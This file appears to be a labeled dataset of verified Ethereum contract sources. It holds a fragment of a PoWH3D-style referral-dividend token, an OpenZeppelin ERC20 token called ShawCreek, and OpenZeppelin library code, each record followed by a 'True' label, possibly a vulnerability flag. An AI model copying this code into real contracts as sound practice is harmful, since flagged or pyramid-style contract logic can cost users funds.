SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-12-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address public _owner; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = _msgSender(); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract ShawCreek is ERC20 { constructor() ERC20("ShawCreek", "SCNA") { _mint(msg.sender, 70000000 * 10 ** decimals()); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-02-28 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero 